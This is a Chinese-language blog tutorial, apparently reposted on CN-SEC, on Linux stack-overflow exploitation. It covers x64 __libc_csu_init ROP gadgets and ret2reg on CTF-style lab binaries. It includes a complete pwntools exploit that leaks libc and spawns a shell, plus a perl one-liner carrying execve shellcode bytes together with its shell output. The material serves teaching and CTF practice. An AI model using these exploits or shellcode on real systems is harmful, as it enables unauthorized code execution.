在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp

这里我们可以利用以下几点

  • 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
  • 从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
  • 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。

例子

这里我们以一步一步学 ROP 之 linux_x64 篇中 level5 为例进行介绍。首先检查程序的安全保护

$ checksec level5   
[*] '/home/oldthree/Desktop/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序为 64 位,开启了堆栈不可执行保护。

其次,寻找程序的漏洞,可以看出程序中有一个简单的栈溢出

ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL);
}

基本利用思路如下

  • 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
  • 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
  • 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 ‘/bin/sh’ 地址,并使得程序重新执行 main 函数。
  • 再次利用栈溢出执行 libc_csu_gadgets 执行 execve(‘/bin/sh’) 获取 shell。

exp 如下

from pwn import *
from LibcSearcher import LibcSearcher

debug = True

context(log_level = 'debug', arch = 'amd64', os = 'linux')

if debug:
sh = process("./level5")
level5=ELF('./level5')
else:
link = "x.x.x.x:xx"
ip, port = map(lambda x:x.strip(), link.split(':'))
sh = remote(ip, port)
elf=ELF('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8


def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)


sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
#write(1, writ_got_addr, 8)

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)

## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
#read(0,bss_base,16)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
#execve(/bin/sh,0,0)
sh.interactive()

gadget构造的payload要在末尾加上0x38个填充字符

gadget1:

 add     rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn

gadget2:

.text:0000000000400609                 call    qword ptr [r12+rbx*8]

rsp 8 * (8 -1)

ps: add rsp,8 + pop * 6 + ret -call

思考

改进

在上面的时候,我们直接利用了这个通用 gadgets,其输入的字节长度为 128。但是,并不是所有的程序漏洞都可以让我们输入这么长的字节。那么当允许我们输入的字节数较少的时候,我们该怎么有什么办法呢?下面给出了几个方法

可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节,即我们所需的字节数只需要 112。

改进 2 多次利用

其实,改进 1 也算是一种多次利用。我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件

  • 漏洞可以被多次触发
  • 在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。

当然,有时候我们也会遇到一次性可以读入大量的字节,但是不允许漏洞再次利用的情况,这时候就需要我们一次性将所有的字节布置好,之后慢慢利用。

其实,除了上述这个 gadgets,gcc 默认还会编译进去一些其它的函数

_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

我们也可以尝试利用其中的一些代码来进行执行。此外,由于 PC 本身只是将程序的执行地址处的数据传递给 CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令,只要可以确保程序不崩溃。

需要一说的是,在上面的 libc_csu_init 中我们主要利用了以下寄存器

  • 利用尾部代码控制了 rbx,rbp,r12,r13,r14,r15。
  • 利用中间部分的代码控制了 rdx,rsi,edi。

而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。其中,0x000000000040061A 是正常的起始地址,可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器,在 0x0000000000400621 处可以控制 rsi 寄存器。而如果想要深入地了解这一部分的内容,就要对汇编指令中的每个字段进行更加透彻地理解。如下。

gef➤  x/5i 0x000000000040061A
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
gef➤ x/5i 0x000000000040061b
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
gef➤ x/5i 0x000000000040061A+3
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/5i 0x000000000040061e
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061f
0x40061f <__libc_csu_init+95>: pop rbp
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x0000000000400620
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
gef➤ x/5i 0x0000000000400621
0x400621 <__libc_csu_init+97>: pop rsi
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061A+9
0x400623 <__libc_csu_init+99>: pop rdi
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
0x400630 <__libc_csu_fini>: repz ret

题目

  • 2016 XDCTF pwn100
  • 2016 华山杯 SU_PWN

ret2reg

原理

1.查看栈溢出返回时哪个寄存器指向缓冲区空间

2.查找对应的call寄存器活着jmp寄存器指令,将EIP设置为该指令地址

3.将寄存器所指向的空间上注入shellcode

利用思路

  • 分析和调试汇编,查看溢出函数返回时哪个寄存器指向缓冲区地址
  • 向寄存器指向的缓冲区中注入shellcode
  • 查找call 该寄存器或者jmp 该寄存器指令,并将该指令地址覆盖ret

防御方法

在函数ret之前,将所有寄存器全部复位,清0,以避免此类漏洞

Example

此类漏洞常见于strcpy字符串拷贝函数中

源程序

#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
char buffer[512];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
evilfunction(argv[1]);
return 0;
}

编译

开启地址随机化(ASLR)

echo 2 > /proc/sys/kernel/randomize_va_space

进行编译

gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector

checksec + IDA分析

$ checksec ret2reg  
[*] '/home/oldthree/Desktop/ret2reg'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
evilfunction((char *)argv[1]);
return 0;
}
void __cdecl evilfunction(char *input)
{
char buffer[512]; // [esp+0h] [ebp-208h]

strcpy(buffer, input);
}

可以看出,程序将argv[1]对应的字符串拷贝进了buffer中,argv[1]就是程序接收的命令行参数。

$ ./ret2reg 123

123就是我们输入的第一个命令行参数,其中 $argv[0] 就是脚本文件名,argc[1]为输入的第一个参数

查看evilfunction函数的汇编指令

.text:0804840B                 push    ebp
.text:0804840C mov ebp, esp
.text:0804840E sub esp, 208h
.text:08048414 sub esp, 8
.text:08048417 push [ebp+input] ; src
.text:0804841A lea eax, [ebp+buffer]
.text:08048420 push eax ; dest
.text:08048421 call _strcpy
.text:08048426 add esp, 10h
.text:08048429 nop
.text:0804842A leave
.text:0804842B retn
  • 可以看到,lea eax,[ebp+buffer],该指令就是将[ebp + buffer]的偏移地址送给eax,也就相当于eax指向了buffer缓冲区的位置
  • 这时我们就可以向buffer中写入shellcode,并且找到call eax指令地址来覆盖ret,从而拿到shell
  • 这时我们需要查看evilfunction函数返回时,eax是不是还指向缓冲区地址
  • 使用gdb进行调试带参数的程序

image-20210106230047556

gdb --args ret2reg 123
b *0x0804842B
r

image-20210106230342918

  • 可见eax的值仍为缓冲区的地址
  • 接下来查找call eax或者jmp eax指令
$ objdump -d ret2reg | grep "*%eax"
8048373: ff d0 call *%eax
  • payload就可以构造出来了
payload = shellcode + (0x208 + 4 - len(shellcode)) * a + p32(0x8048373)

Exp

$ ./ret2reg $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x73\x83\x04\x08"')
$ id
uid=1000(oldthree) gid=1000(oldthree) groups=1000(oldthree),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

BROP

参考链接

stack buffer overflow

http://bobao.360.cn/learning/detail/3694.html

https://www.cnblogs.com/rec0rd/p/7646857.html

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stackoverflow-basic-zh/

http://wooyun.jozxing.cc/static/drops/papers-7551.html

http://wooyun.jozxing.cc/static/drops/binary-10638.html

FROM :ol4three.com | Author:ol4three

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:08:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  linux-stack-Overflow-1 http://cn-sec.com/archives/721107.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: